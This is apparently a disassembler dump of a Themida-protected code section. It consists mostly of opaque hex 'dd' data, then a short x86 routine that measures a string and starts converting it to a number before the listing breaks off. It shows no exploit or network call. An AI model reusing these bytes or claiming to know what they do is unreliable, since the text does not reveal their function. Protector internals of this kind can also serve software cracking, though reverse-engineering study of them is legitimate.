		dd 6ACF00h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 0AFC356C3h, 1ADDBD89h, 0C6800614h, 318D0995h
		dd 83061425h, 140F25BDh, 840F0006h, 180h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 16h, 0DDC35040h, 0BD83676Dh
		dd 6140B4Dh, 31850F01h,	0E8000001h, 0Eh, 8E9BE8BEh, 84FE5434h
		dd 0E4793565h, 85290AC5h, 6141E05h, 0D2BF0F5Bh,	4D998D8Bh
		dd 33F80614h, 1407CD95h, 1C606h, 23759D03h, 0BA600614h
		dd 27DC5830h, 4E8BAB2h,	80000000h, 66000000h, 5150DE8Bh
		dd 7E8h, 16BD2D00h, 2F8F6245h, 448B5A5Ah, 0D68B0424h, 8B66008Bh
		dd 244489D0h, 0E8525004h, 0Eh, 477538DCh, 5A6FFBE4h, 0C33E53B4h
		dd 810F2417h, 0
		dd 0BB310F5Bh, 5275853Dh, 0E958585Ah, 0Bh, 943B7952h, 0C67742EEh
		dd 8B143C73h, 14021195h, 0E8FF6A06h, 0Eh, 0EFEEABDEh, 0C619ED44h
		dd 18572F3Dh, 0B5890F9Ah, 6140D35h, 195FF5Ah, 8B061408h
		dd 8C0F61DAh, 6, 800Fh,	95FF0000h, 61410D9h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 30C35747h, 31FDE7C2h
		dd 1C418D89h, 8D8B0614h, 6144D99h, 779B529h, 1FE0614h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 30C35040h
		dd 0ED2BA960h, 0FA4C4E6h, 34C5BD83h, 0F010614h,	1785h
		dd 0C2816600h, 0DE90F8Ch, 2B000000h, 8C52AB02h,	0DD17F20Ah
		dd 0C866A7F4h, 6AC08Bh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 0DA4090C3h, 0D0B70FFEh, 195BBA66h
		dd 10F1BD83h, 75000614h, 25BD8309h, 6140Eh, 53501A74h
		dd 858BC08Bh, 6141819h,	18198589h, 9D8D0614h, 616A752h
		dd 585BD3FFh, 0E25BD83h, 74000614h, 8B535018h, 14181985h
		dd 19858906h, 8D061418h, 16A4419Dh, 5BD3FF06h, 0D1B70F58h
		dd 0FA1958Bh, 79B70614h, 0BD29C08Bh, 6143445h, 13E9h, 52454600h
		dd 91323AD6h, 7F2F957Ch, 982142E8h, 5FFEB66h, 0F25BD83h
		dd 0F000614h, 2C85h, 0E2816600h, 0BD830EB8h, 61409F9h
		dd 1A840F00h, 0E8000000h, 14h, 34396C1Ch, 0DDDC2C39h, 1138083Bh
		dd 0A1351DF8h, 0FE73485Bh, 25BD835Ah, 6140Fh, 3B840Fh
		dd 890F0000h, 1, 31BD83FCh, 6141Eh, 27840Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 6B0F15C3h, 8158D680h, 5135E2C2h, 25BD8326h, 6140Fh
		dd 64840Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 160424h, 53430000h, 52999FC3h, 10E9h, 4BDA4700h, 5C9D5E31h
		dd 373EDF12h, 9C7E7AEDh, 31BD836Ch, 6141Eh, 24840Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0E9F63EC3h, 0FD2A8D0Ah, 0BD838516h, 6140F25h, 17840F00h
		dd 89000000h, 140F719Dh, 51BD8306h, 61407h, 4840Fh, 0BB660000h
		dd 0BD8352D0h, 6140F25h, 27840F00h, 80000000h, 0D3BB39E6h
		dd 834B4FD9h, 140EF1BDh, 840F0006h, 12h, 0BC19D8Bh, 95FF0614h
		dd 6141CF9h, 0D599D8Bh,	0C08B0614h, 4819D8Bh, 0BD830614h
		dd 61410F1h, 83097500h,	140E25BDh, 1A740006h, 0C08B5350h
		dd 24F1858Bh, 85890614h, 61424F1h, 0A7B99D8Dh, 0D3FF0616h
		dd 0BD83585Bh, 6140E25h, 50187400h, 0F1858B53h,	89061424h
		dd 1424F185h, 5A9D8D06h, 0FF0616A4h, 89585BD3h,	141389BDh
		dd 0FD958B06h, 0F061406h, 68Ch,	559D2900h, 8B061402h, 0BC68BBC0h
		dd 0BD83014Bh, 6140F25h, 82840F00h, 50000003h, 31D950Bh
		dd 835B0614h, 1409B1BDh, 840F0206h, 1Ah, 0C3BF0F60h, 8361D08Bh
		dd 1425E5BDh, 850F0106h, 6, 0A699D89h, 0F5600614h, 4D998D8Bh
		dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 1FE5DC3h,	28E0Fh,	0D48A0000h, 19E5958Bh
		dd 4E80614h, 80000000h,	50000000h, 0DE8h, 0AE201000h, 0FC30B83Fh
		dd 0C46BF375h, 0BA66538Bh, 8B5B7515h, 51042444h, 8B5B2FB7h
		dd 0F525000h, 28Dh, 0F616000h, 0D7BB6631h, 89585ABDh, 0B7042444h
		dd 6A58C1h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 0F854DC3h, 9589D7B7h, 6142C69h, 0CE80FF6Ah
		dd 195FF6Dh, 8B061408h,	1419B99Dh, 7D1BB06h, 6A613512h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 0BB43C351h, 19A2A7E7h, 1D55BD8Dh,	0EFB60614h
		dd 601C4F8Bh, 3DD9509h,	85890614h, 614064Dh, 6A88B261h
		dd 0AE901h, 0B3580000h,	3E0204E7h, 1070CBFCh, 0F525050h
		dd 178Ch, 11E800h, 0FF280000h, 9E8770B8h, 16E28D32h, 5167D5Ch
		dd 5A3F3B1Ah, 0BB66310Fh, 585AFFA5h, 89240C89h,	1409C595h
		dd 0D858D06h, 66061734h, 0CFAAF381h, 0B589D0FFh, 614318Dh
		dd 6A204F8Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 145CC355h, 8E946CFh, 0AE000000h
		dd 354CAC48h, 6A3351DAh, 56006A03h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 2CE98044h, 1F2E012Ch
		dd 0BA6691B4h, 8B505666h, 9D8B91D8h, 6140899h, 340D858Dh
		dd 820F0617h, 10h, 0BE9h, 20A48700h, 0F69365F2h, 905406F4h
		dd 9D8BD0FFh, 61431A1h,	1D55BD8Dh, 6A0614h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0D92EB3C3h
		dd 8B80DFD4h, 9D8B1C4Fh, 6141CE5h, 8D89016Ah, 6141EA5h
		dd 89DF8B50h, 6A240Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 7E5CA9C3h, 9BBAF30Eh, 664CC070h
		dd 0E64FF281h, 0FD5FE3BBh, 0D858D26h, 23061734h, 140CF19Dh
		dd 80D0FF06h, 0D38B3EEAh, 6A204F8Bh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 82A3C351h
		dd 0A6574D41h, 2190F607h, 4A99D89h, 36A0614h, 12E9h, 44A80900h
		dd 481F52C4h, 0D7B183E7h, 0F990FEC8h, 50FA071Ah, 0AE95250h
		dd 1B000000h, 470DC037h, 0C87A5F0Ch, 5A310F8Bh,	240C8958h
		dd 60E28166h, 86EA814Ah, 8D7EBA67h, 17340D85h, 2DB58906h
		dd 0FF06140Dh, 5E9D0h, 69740000h, 8B787C9Eh, 144D998Dh
		dd 62D38106h, 0FE759FD2h, 858BF801h, 6144D99h, 0FED08B66h
		dd 0DEB70F00h, 6E9h, 3B8C800h, 6A106163h, 50006A01h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
		dd 373C84E7h, 0E1EFB1ABh, 31953156h, 5A061400h,	37ECE368h
		dd 8B0FB8h, 81000000h, 0B31C2404h, 816647C7h, 8D2006F2h
		dd 17341785h, 68A0F06h,	81000000h, 3C3B31EBh, 8AD0FF39h
		dd 0F9BD83DEh, 61409h, 0B6840Fh, 95890000h, 6142A09h, 1CDBD83h
		dd 0F010614h, 0A385h, 0DAB70F00h, 0CED958Bh, 8D8D0614h
		dd 6173421h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	0CDC35040h, 8B0908B2h, 142DE59Dh, 50036A06h, 2FACDB81h
		dd 6A5A0C8Fh, 0D1FFFC01h, 0A6BEA81h, 16A5169h, 0E9BD8B60h
		dd 5206140Eh, 0AE9h, 966BB500h,	0E580F0F9h, 59E6052Ah
		dd 33016A61h, 1401B59Dh, 0D2816606h, 0D1FF9DAFh, 13719D8Bh
		dd 0CBE80614h, 6AFA476Dh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 4BEEC352h, 202C3D05h
		dd 23C01AAh, 0AE8206Ah,	0E4000000h, 3840BE91h, 66805B19h
		dd 0AE95103h, 92000000h, 0AB3D2A4Dh, 56CA8A47h,	6A5B5B93h
		dd 56006AFFh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 0E563A767h, 7542B4EBh, 0B5899759h, 6142019h
		dd 80195FFh, 0BD890614h, 614159Dh, 3095958Bh, 0B80614h
		dd 52000000h, 1BD9589h,	0B5A0614h, 38840FC0h, 0B2000000h
		dd 19BD8374h
		dd 6141Bh, 29840Fh, 8C0F0000h, 0Ah, 4810Fh, 0BB660000h
		dd 0D68B9EA8h, 3FD95FFh, 0FD8A0614h, 0AE9h, 0D1DE7F00h
		dd 0AD4D6739h, 8BDEDB30h, 14005585h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 59952384h
		dd 0C606140Ch, 0B9B70000h, 55006A58h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 0CA3A3E18h
		dd 0FE8h, 3BACE500h, 2B9FD419h,	0CA5251CBh, 1DB7470Eh
		dd 4CC8C381h, 665B5CB3h, 9D8BD98Ch, 6142FB9h, 0D2DB501h
		dd 0C1F60614h, 7E840F04h, 66000000h, 0E96F4DBAh, 75h, 0E9DBB70Fh
		dd 12h,	410D425Ch, 5F3FEB26h, 0EA1A8AF7h, 0DD94400Ah, 0B58B9B63h
		dd 6143169h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	6BC35646h, 302A4E9Eh, 2BB7659Eh, 0A9F78063h, 1180C681h
		dd 56B60000h, 6C7h, 6A0000h, 3E850h, 58200000h,	448958C3h
		dd 44810424h, 140424h, 50400000h, 8B6662C3h, 29575ED3h
		dd 1408DD9Dh, 0F8835B06h, 2C840F00h, 300000Ch, 1409859Dh
		dd 1F88306h, 160850Fh, 0E2800000h, 0B8A4h, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 97A994C3h, 0C00B570Bh, 0C8840Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 84B8F3C3h
		dd 5B254D6Fh, 1CF5958Bh, 0F8830614h, 0AB840F01h, 0F5000000h
		dd 0F03F883h, 5284h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 70DD7B08h, 0F405F32h
		dd 680h, 70C38100h, 2B7F791Ch, 0CE9C0h,	77A60000h, 369E634Ah
		dd 0B4E8F1D3h, 0BD8D2629h, 5B89E0h, 0F5DA8166h,	0E7FFF92Ch
		dd 0B8D38B66h, 1, 0BD8DE2B6h, 5B89E0h, 0FF3ECE80h, 53006AE7h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 0E1F2645Ah, 0EECEEDE3h, 171B589h, 0BD8D0614h, 6144425h
		dd 184D9D8Bh, 0E9E90614h, 80000002h, 85C716D2h,	6144DF4h
		dd 5, 0B8D78B66h, 5, 13419D33h,	840F0614h, 0Ch,	7E9h, 0F6409C00h
		dd 0DE6040Bh, 0A08E9h, 53006A00h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 0EE410557h, 803FA0A5h
		dd 0F88352EAh, 0C9850F02h, 6A000000h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0AC61C351h
		dd 0FE4AE8B7h, 860F42A2h, 6, 3111BD29h,	0B80614h, 0E9000000h
		dd 5, 4D7B182Eh, 218D89F9h, 0B06141Ch, 3E840FC0h, 80000000h
		dd 952B68CAh, 6142559h,	0F01F883h, 0FFFF4584h, 7DB589FFh
		dd 8306140Dh, 840F03F8h, 0FFFFFEE7h, 0C02B8DB6h, 28E0Fh
		dd 0F78A0000h, 89E0BD8Dh, 9D2B005Bh, 61434E1h, 0C780E7FFh
		dd 1DBD8D99h, 0F061446h, 0F1E9DBBFh, 6A000001h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 8B22C351h, 140FC595h, 98D0F06h, 0F000000h, 383h, 0DFBF0F00h
		dd 0F03F883h, 6B85h, 819D8B00h,	0F061404h, 584h, 5907BB00h
		dd 0BD8D3CD8h, 61447B1h, 459D89h, 95E90614h, 6A000001h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 0BCEFC351h, 0E8FF5323h, 0Dh, 98736201h, 58EE4AF8h
		dd 63A239D2h, 0A8B0FB6h, 0E9000000h, 5,	7628EDEDh, 95895B9Dh
		dd 6140771h, 0F05F883h,	1385h, 0E9D38B00h, 88Dh, 6880Fh
		dd 66500000h, 5B121EBAh, 0F06F883h, 3985h, 0F9B52900h
		dd 8D06141Ah, 1449A9BDh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 0E0FFA065h, 23819D8Bh
		dd 0F1E90614h, 80000000h, 0F88346EAh, 4B850F07h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 0F65C350h, 0C85h,	6880F00h, 0F000000h, 89h
		dd 0DBCB8100h, 8D18B24Fh, 1420DDBDh, 45958906h,	0E9061415h
		dd 13Ch, 1ED9958Bh, 0F8830614h,	91850F0Ah, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 6478C355h, 0C409E118h, 80FBA081h, 0BD8D33E2h, 6144BA1h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0BC35242h
		dd 0FCCECB02h, 0AABB07FBh, 8A725198h, 36E9DDh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 6060E0C3h, 8CC78166h, 6E913h, 8E080000h, 0B99AAACBh
		dd 259D2361h, 61061412h, 0E9D18A57h, 11h, 9AF01375h, 0AD8DDFF7h
		dd 0B35BE270h, 0CC813898h, 7529B90Ah, 6A1090h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 0F4AE47C3h, 762F567Eh, 8B54A55Ah, 142F999Dh,	3F8306h
		dd 2A840Fh, 9D890000h, 61400C5h, 8D0F0F30h, 3, 0D1D1BF0Fh
		dd 0F018BBC9h, 664709B5h, 8999D1BBh, 1430619Dh,	0FFCFE906h
		dd 0D68BFFFFh, 50006A5Fh, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 768E0D11h, 4D9DBD89h
		dd 8B570614h, 8D8D5BD8h, 6142415h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 82C35747h, 2EEE8888h, 8774C66Eh
		dd 0BE9h, 58949D00h, 9422F9C8h,	3CD55877h, 1869B5FFh, 6A0614h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 958BA9C3h, 6142A75h,	30BD9D8Bh, 858D0614h, 616A07Dh
		dd 8FBD8D50h, 8D061454h, 146FC88Dh, 1ABCB806h, 0CF2B5483h
		dd 0C8D00730h, 0F8754947h, 6F1CB58Dh, 8D8D0614h, 6146FE0h
		dd 0A4F3CF2Bh, 0B8C933h, 0B000000h, 834674C0h, 141B19BDh
		dd 6740006h, 3FD95FFh, 0B58B0614h, 6144D9Dh, 0A07D858Dh
		dd 0D0FF0616h, 43B1858Dh, 0D0FF0614h, 0D985C7h,	10614h
		dd 0A58B0000h, 6140C55h, 1605B58Bh, 0AD8B0614h,	614268Dh
		dd 0CC2C033h, 0A59D8B00h, 6A061420h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0DE93C353h
		dd 0BD830B1Dh, 6140F89h, 10840F00h, 0BB000000h,	5F9F8387h
		dd 1B2595FFh, 8B660614h, 83D18BDFh, 142FE5BDh, 850F0006h
		dd 212h, 2D21BD01h, 0BD830614h,	61401CDh, 0FF850F01h, 6A000001h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 0A80CC353h, 350C3D1h, 14204195h, 51BD8306h
		dd 61402h, 1CC840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 95528AC3h, 0B92ED325h
		dd 0DE907h, 10060000h, 68A1506Eh, 7BCE50B5h, 8301AC6Bh
		dd 144DF0BDh, 840F0006h, 18Ah, 14E9h, 98834000h, 0EF3AA5E8h
		dd 84ACC090h, 81E2E6E3h, 40EA5856h, 7D858DB4h, 0F0616A0h
		dd 0B58BDABFh, 6144D9Dh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 18h, 6BC35343h, 5BB67977h,	0B810Fh, 860F0000h
		dd 5
		dd 8591E5BBh, 512FBA26h, 6060505Eh, 0F159D01h, 810F0614h
		dd 0
		dd 0DF8B6661h, 6AD0FF61h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 3BFEC351h, 0BE833E13h
		dd 0C58008BBh, 4985C67Bh, 54061408h, 7F5958Bh, 0B5680614h
		dd 0E9DDFFE7h, 14h, 29EC5AF7h, 7F2AB72Eh, 3105877Dh, 0FC81C8F0h
		dd 8FA8654h, 41243481h,	0F22B159h, 586h, 0C3816600h, 0B5FF0011h
		dd 6140C2Dh, 9650BB66h,	3B4E858Dh, 6A0614h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 25DF5FC3h
		dd 614A0D15h, 2B2499F9h, 142A9D9Dh, 0DF8B6606h,	6AD0FFh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 60F9C7C3h, 20718529h, 9D890614h, 6141A05h, 2B006A61h
		dd 1402559Dh, 29FF6A06h, 1409998Dh, 6AD0FF06h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 0DBBAC355h, 0E49B5FFh, 8B660614h, 6995FFD0h,	0E9061418h
		dd 6, 0EF8ADAA4h, 0B58B7E60h, 6144D9Dh,	0DCDBD89h, 0E9C30614h
		dd 0Bh,	1CDF0053h, 9EAF57CCh, 8BFD7FAAh, 140055B5h, 0FF60B06h
		dd 2184h, 199D8B00h, 0C6061411h, 13E90006h, 96000000h
		dd 143EEAB6h, 355C0E91h, 1A6F3BEAh, 0A3E4AF1Dh,	8589FDE9h
		dd 6144DA5h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	51C35646h, 0FFDDF851h, 8324C907h, 11E887B7h, 0FE000000h
		dd 16D5AAACh, 84BA326Dh, 0BFA2BDE1h, 33C453DAh,	870F53h
		dd 5A000000h, 0F8835Bh,	399840Fh, 0D08B0000h, 0B8h, 83FD8A00h
		dd 840F00F8h, 0A9h, 83D38B66h, 850F02F8h, 7Fh, 9CB5DB81h
		dd 858D0949h, 6144420h,	0DE8h, 82A9B900h, 0E55012FFh, 0D4D2F5FAh
		dd 2D5BCA5Eh, 929h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 0C9C35040h, 20F2BDB1h, 0DE8041F0h, 65B29061h
		dd 8B666050h, 819061CBh, 0A8AB08C2h, 0C34AB24Fh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0BBC35242h, 459D8BC1h
		dd 0B8061409h, 0
		dd 9E9h, 20B0CA00h, 93C07D0Eh, 0E4E9CEA3h, 89000002h, 141655B5h
		dd 1B806h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 8BE200C3h, 0FFFD5D81h, 0BD8D2367h
		dd 6144425h, 8056BA66h,	133E9h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0C3290B61h
		dd 3F4C4EA8h, 0A4EA81B6h, 832B2485h, 850F02F8h,	84h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 81C35242h, 84F197DFh
		dd 80FFBE16h, 0BD8D46CFh, 614461Dh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 7EC35343h, 0B10B69FBh, 0E89FEF4Fh
		dd 12h,	0B7DAEB63h, 0C8C40A36h,	8C30A825h, 0AC2504E0h
		dd 9D8BA17Bh, 6141131h,	0E19D8B5Ah, 0E9061434h,	88h, 541DE381h
		dd 95310005h, 6141121h,	0F03F883h, 1D85h, 99D0B00h, 8D06141Fh
		dd 1447B1BDh, 0ED9D0106h, 0E9061402h, 5Ch, 491B589h, 0F8830614h
		dd 4D850F05h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 9EA7C355h, 8BEE0FD2h
		dd 8B9A46EDh, 1409459Dh, 0B7E906h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 0D78BAAC3h
		dd 0E2C38157h, 66098B11h, 0B9EDBDBBh, 10907529h, 3939BA66h
		dd 2B899D0Bh, 3F830614h, 76840F00h, 0E9000000h,	10h, 0B9B6579Dh
		dd 0DFA21D3Fh, 63D7420Eh, 0EA206C95h, 6A0F30h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0EE16B4C3h, 0FD6FAACh, 958BD8BFh, 6142F99h, 8E07B1BBh
		dd 89C9D11Bh, 140655BDh, 12BA4706h, 0E94EFB48h,	0FFFFFF9Eh
		dd 0FE8h, 58AA1100h, 0CFE49B8Eh, 0DDC06716h, 0C513F8F7h
		dd 5BDAB70Fh, 13E28166h, 5F88301h, 0D1850Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 19BC0C3h, 142DD58Dh,	66A7B606h, 0DF80D98Ch, 9D0B506Ah
		dd 61404A1h, 4C1F65Bh, 5E850Fh,	6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 8FD57DC3h
		dd 199D8B58h, 50061431h, 9F13F281h, 0B85B06D7h,	0
aFPfsz		db 'f»p”éZ',0
		align 4
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 0A1689D92h, 11EC6290h, 0ABD858Bh, 6A0614h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 7D18D0C3h, 66F96E7Ah, 0E0FFDE8Bh, 36E9DFBBh,	9D9D095Dh
		dd 8306142Fh, 141869BDh, 850F0006h, 0D7h, 0EE9D68Bh, 0E7000000h
		dd 41FCBC5Ah, 27F86B07h, 1B71863Dh, 9E99053h, 55000000h
		dd 0D56CD88Fh, 0C2182F78h, 10E950h, 9300000h, 5DC7485h
		dd 2CB156B8h, 25C0DF14h, 0F906690h, 0C86h, 6890F00h, 23000000h
		dd 140DD99Dh, 0BB666006h, 89576F31h, 140BB985h,	0C6615B06h
		dd 14084985h, 95334506h, 6142F91h, 0D323DA68h, 2434819Ah
		dd 14A14AB3h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 15h,	79C35646h, 0CBE380C8h, 0C2DB5FFh, 9D890614h, 61423EDh
		dd 3B4E858Dh, 7E80614h,	9F000000h, 0A7DF11E9h, 0BB666EEBh
		dd 0FF5BEC66h, 559589D0h, 89061404h, 14186985h,	0D88B6606h
		dd 6810Fh, 8D290000h, 6141F7Dh,	83DA8B58h, 144DF4BDh, 840F0006h
		dd 42h,	419589h, 0B5FF0614h, 6140E49h, 0FFDBBF0Fh, 14186995h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 0E96591CDh, 0Ah,	43101100h, 0B26CDFD0h
		dd 0F8830731h, 24850F00h, 81000001h, 3B9970CAh,	0B9BD8337h
		dd 6142Bh, 4B840Fh, 958B0000h, 6141999h, 2BB9B5FFh, 0B5890614h
		dd 6140759h, 1B8h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 0D835BA4Dh, 0BA4A25B2h
		dd 17CDF07Ah, 0FFE9F98Ah, 3000001h, 14064595h, 49B5FF06h
		dd 6A06140Eh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 1409C352h, 499ADAh, 48CFB635h
		dd 13E960h, 0E17F0000h,	0A4A2C0E6h, 299FA25Dh, 6B48032Fh
		dd 0AE3DBFBBh, 1D9531B2h, 6106140Fh, 0FF4FDA80h, 140E49B5h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 0BFADC246h, 9C66C33Fh, 0C3818DB4h, 4903A5AEh
		dd 1869B5FFh, 6A0614h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 7CEA7CC3h, 0F53B384h, 11E976B9h
		dd 50000000h, 5EC271AFh, 0EC553BE8h, 670B1B2h, 1CCDADD8h
		dd 135E9h, 5FF2B700h, 319D29h, 0BD830614h, 61424DDh, 7D850F00h
		dd 80000000h, 85C66DCBh, 6140849h, 0E5950B4Dh, 68061409h
		dd 5225D6B8h, 481DA8Ah,	0F9FF024h, 79958B52h, 0FF061419h
		dd 142965B5h, 9E906h, 56BA0000h, 0CEAB7E43h, 8D0A9C9Ch
		dd 143B4E85h, 3850F06h,	0F000000h, 0D0FFDEBFh, 89D6B70Fh
		dd 1424DD85h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 3B34F330h, 750115C1h, 0CA81AE66h
		dd 36E072B5h, 0B8h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 798EC618h, 0E2810F0Fh
		dd 75E70F60h, 4D9DBD89h, 958B0614h, 614094Dh, 840FC00Bh
		dd 40h,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h
		dd 0CDC35141h, 4D852934h, 6006142Eh, 0AD958B57h, 58061401h
		dd 0AF8BF281h, 8B614323h, 141CE995h, 24E906h, 12B30000h
		dd 1869B5FFh, 81660614h, 8DED3AE3h, 16A07D85h, 49958B06h
		dd 9006140Dh, 0B7505A50h, 0BA66907Dh, 565096BEh, 548FBD8Dh
		dd 8D8D0614h, 6147A73h,	8323BCB8h, 30CF2B74h, 47C8D007h
		dd 5EF87549h, 0B9BD8358h, 6142Bh, 8D8B0674h, 6141F0Dh
		dd 0B8C933h, 0B000000h,	0A8840FC0h, 83000000h, 141B19BDh
		dd 6740006h, 3FD95FFh, 0B80614h, 0B000000h, 830975C0h
		dd 144DA5BDh, 9740106h,	4DA5BD83h, 75020614h, 9DB58B0Eh
		dd 8D06144Dh, 16A07D85h, 83D0FF06h, 140F89BDh, 6740006h
		dd 1B2595FFh, 858D0614h, 61443B1h, 0BD83D0FFh, 61409B1h
		dd 8B2F7502h, 140C55A5h, 0B9858B06h, 8906142Bh,	85C72404h
		dd 61400D9h, 1,	4DA1B58Bh, 0AD8B0614h, 614268Dh, 1B8h
		dd 0CC200h, 85C700EBh, 61400D9h, 1, 0C55A58Bh, 0B58B0614h
		dd 6141605h, 268DAD8Bh,	0C0330614h, 83000CC2h, 140F89BDh
		dd 0F740006h, 1B25BD83h, 74000614h, 2595FF06h, 8B06141Bh
		dd 144D9DB5h, 9D8BC306h, 61412E9h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 9C35141h, 4A35BC09h, 0BA669BB9h
		dd 0D22B32E2h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	0B8C35040h, 2860Fh, 0DF8B0000h,	34F19529h
		db 14h,	6
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_585766
; ---------------------------------------------------------------------------


loc_585764:				; CODE XREF: Themida_:00585769j
		inc	eax
		inc	edi


loc_585766:				; CODE XREF: Themida_:00585762j
		cmp	byte ptr [edi],	0
		jnz	short loc_585764
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_585795
; ---------------------------------------------------------------------------


loc_585772:				; CODE XREF: Themida_:00585797j
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_58578A
